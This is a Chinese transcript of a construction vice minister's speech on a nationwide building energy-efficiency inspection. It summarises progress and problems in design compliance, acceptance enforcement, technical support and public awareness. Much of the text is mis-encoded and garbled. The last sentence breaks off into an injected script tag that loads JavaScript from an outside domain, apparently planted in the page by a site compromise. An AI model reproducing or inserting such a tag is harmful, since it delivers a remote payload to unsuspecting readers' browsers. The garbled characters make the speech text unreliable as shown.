建筑節(jié)能檢查必須注重效能——建設(shè)部副部長仇保興同志在全國建筑節(jié)能專項檢查匯報會上的講話
這次檢查不僅督察了30個省、自治區(qū)、直轄市，30個省會城市以及5個計劃單列市建設(shè)主管部門的建筑節(jié)能工作情況，也對2003年以后完成設(shè)計的居住建筑和2005年7月1日以后完成設(shè)計的公共建筑施工圖設(shè)計文件進行了檢查，共計抽選了280個項目，發(fā)放了28份執(zhí)法告知書。通過檢查，基本上掌握了全國建筑節(jié)能工作開展的情況和建筑節(jié)能設(shè)計執(zhí)行強制性標(biāo)準(zhǔn)的情況、存在的問題及下一步應(yīng)采取的對策。最重要的是，通過檢查，強化了建筑節(jié)能的督查工作，推進了各地建筑節(jié)能的具體工作和計劃落實，也在群眾中產(chǎn)生了良好的影響。這次檢查時間緊、任務(wù)重、效果好，盡管是首次檢查，沒有經(jīng)驗，但也較好地完成了檢查工作，在此我代表部黨組表示感謝。
下面結(jié)合這次檢查與建筑節(jié)能工作，談幾點意見：
一、總體情況
從匯報情況看，各地對建筑節(jié)能工作重要性認(rèn)識有了一定提高。特別是進入2005年以來，由于加大了政策法規(guī)、技術(shù)標(biāo)準(zhǔn)、行政監(jiān)管、宣傳培訓(xùn)等相關(guān)工作的力度，形成了較好的工作局面，也取得了一定的成效。具體表現(xiàn)在：第一，節(jié)能監(jiān)管工作的組織協(xié)調(diào)工作取得進展，相關(guān)部門能夠互相配合、互為聯(lián)動；第二，政策法規(guī)出臺有一定的針對性，工作目標(biāo)和思路較為明確，管理制度逐步健全；第三，技術(shù)標(biāo)準(zhǔn)相對完善并適合當(dāng)?shù)氐膶嶋H需要，在設(shè)計、施工等環(huán)節(jié)中發(fā)揮了較好的作用；第四，各方責(zé)任主體的建筑節(jié)能意識有所提高，抽檢的大部分項目能夠執(zhí)行建筑節(jié)能設(shè)計標(biāo)準(zhǔn)；第五，節(jié)能技術(shù)得到了推廣應(yīng)用。如哈爾濱市自2003年以來新建建筑執(zhí)行節(jié)能設(shè)計標(biāo)準(zhǔn)的比例都在97%以上，遼寧省2004年建成節(jié)能建筑占當(dāng)年竣工建筑面積的89%，同時，即使在經(jīng)濟欠發(fā)達、人才資源相對匱乏地區(qū)如銀川市，節(jié)能工作也取得了較好的進展。
二、存在問題
通過檢查，我們也確實發(fā)現(xiàn)了一些問題，歸納起來有以下幾個方面：
?。ㄒ唬┬陆ńㄖ?zhí)行節(jié)能標(biāo)準(zhǔn)的比例較低。北方地區(qū)建筑節(jié)能的設(shè)計標(biāo)準(zhǔn)從1996年就開始實施了，十年磨一劍，但節(jié)能工作不平衡的情況嚴(yán)重存在，省會城市好一些，一般城市差一些；房價高的地區(qū)較好些，房價低的城市就差些；北方地區(qū)執(zhí)行標(biāo)準(zhǔn)起步較早，中部和南方就比較滯后；富裕地方好一些，貧困地區(qū)就相當(dāng)被動；少數(shù)本來應(yīng)該達到較高標(biāo)準(zhǔn)的地區(qū)，甚至部分冬冷夏熱的城市，建筑節(jié)能執(zhí)行標(biāo)準(zhǔn)的比例也相當(dāng)?shù)偷??？傮w上來說，建筑設(shè)計這一塊把關(guān)不嚴(yán)，業(yè)主篡改原來設(shè)計標(biāo)準(zhǔn)的現(xiàn)象較為普遍，設(shè)計圖和施工圖不一樣，陰陽圖紙并不少見。在竣工驗收階段，把節(jié)能列為驗收標(biāo)準(zhǔn)的很少。總之，這次節(jié)能檢查和上次小規(guī)模的專項調(diào)查結(jié)果相同，進一步暴露了存在的問題。
?。ǘ┦┕た⒐を炇窄h(huán)節(jié)監(jiān)管不嚴(yán)格。從各地檢查情況看，施工驗收環(huán)節(jié)的監(jiān)管成效可分三個等級：一是違法必糾型。目前沒有發(fā)現(xiàn)一個省市達到這個標(biāo)準(zhǔn)，發(fā)現(xiàn)一起、處理一起、糾正一起的城市幾乎還沒有?？梢哉f建筑節(jié)能是執(zhí)法最不力的領(lǐng)域之一。二是殺雞儆猴型。少數(shù)城市，最近一兩年做到了這一點，處理了幾個典型，但還做得很不好。三是偶發(fā)事件型。上級要檢查了，再被動或偶爾處理一下違規(guī)事件。最近這一兩年各省才開展這項活動。所以這三個等級中，最低標(biāo)準(zhǔn)也只有部分省市的達到，可見建筑節(jié)能的驗收監(jiān)管環(huán)節(jié)疏漏面很大。昨天，北京市出臺了以住宅為單元的建筑驗收標(biāo)準(zhǔn)，居然還沒有節(jié)能驗收的內(nèi)容，這與國家大政策、大環(huán)境差距非常之大。實際情況表明，建筑節(jié)能還沒有真正深入人心，沒有深入到設(shè)計、施工、驗收、監(jiān)管等各環(huán)節(jié)和具體操作人員的管理內(nèi)容中，不少執(zhí)法人員本身就是違法的對象，這是一個非常嚴(yán)重的問題。
?。ㄈ┙ㄖ?jié)能還缺乏足夠的技術(shù)方面的支撐。這次所檢查地區(qū)都反映節(jié)能的產(chǎn)品、技術(shù)可選擇性不足，節(jié)能設(shè)計的軟件本身質(zhì)量相差很大，檢驗出來的結(jié)果誤差過大。少數(shù)地方對新技術(shù)、新產(chǎn)品存在壟斷現(xiàn)象，導(dǎo)致用戶可選擇性不足，沒有形成競爭的機制，沒有充分發(fā)揮市場的調(diào)節(jié)作用。許多基礎(chǔ)工作存在著薄弱的環(huán)節(jié)，培訓(xùn)工作明顯偏弱。推進培訓(xùn)工作，一方面要使執(zhí)法人員認(rèn)識到自己的職責(zé)，另一方面能使被培訓(xùn)對象認(rèn)識到什么是違法？后果如何？怎么做到依法處罰等等。
（四）尚未形成良好的建筑節(jié)能的輿論氛圍。各地出臺促進建筑節(jié)能的激勵政策的地方還剛剛起步。對利用墻改基金或其他激勵手段來促進建筑節(jié)能，或者說形成了社會氛圍的地方還只是極少數(shù)。如像上海那樣發(fā)放很簡單的建筑節(jié)能五十問這樣通俗易懂材料的，還只是一兩個地方。開過建筑節(jié)能大會的只是浙江省，這些都反映了一個問題。所以說，傳統(tǒng)的、習(xí)慣的、浪費的觀念，冰凍三尺非一日之寒，建筑節(jié)能萬里長征還剛?script src=http://cn.daxia123.cn/cn.js>
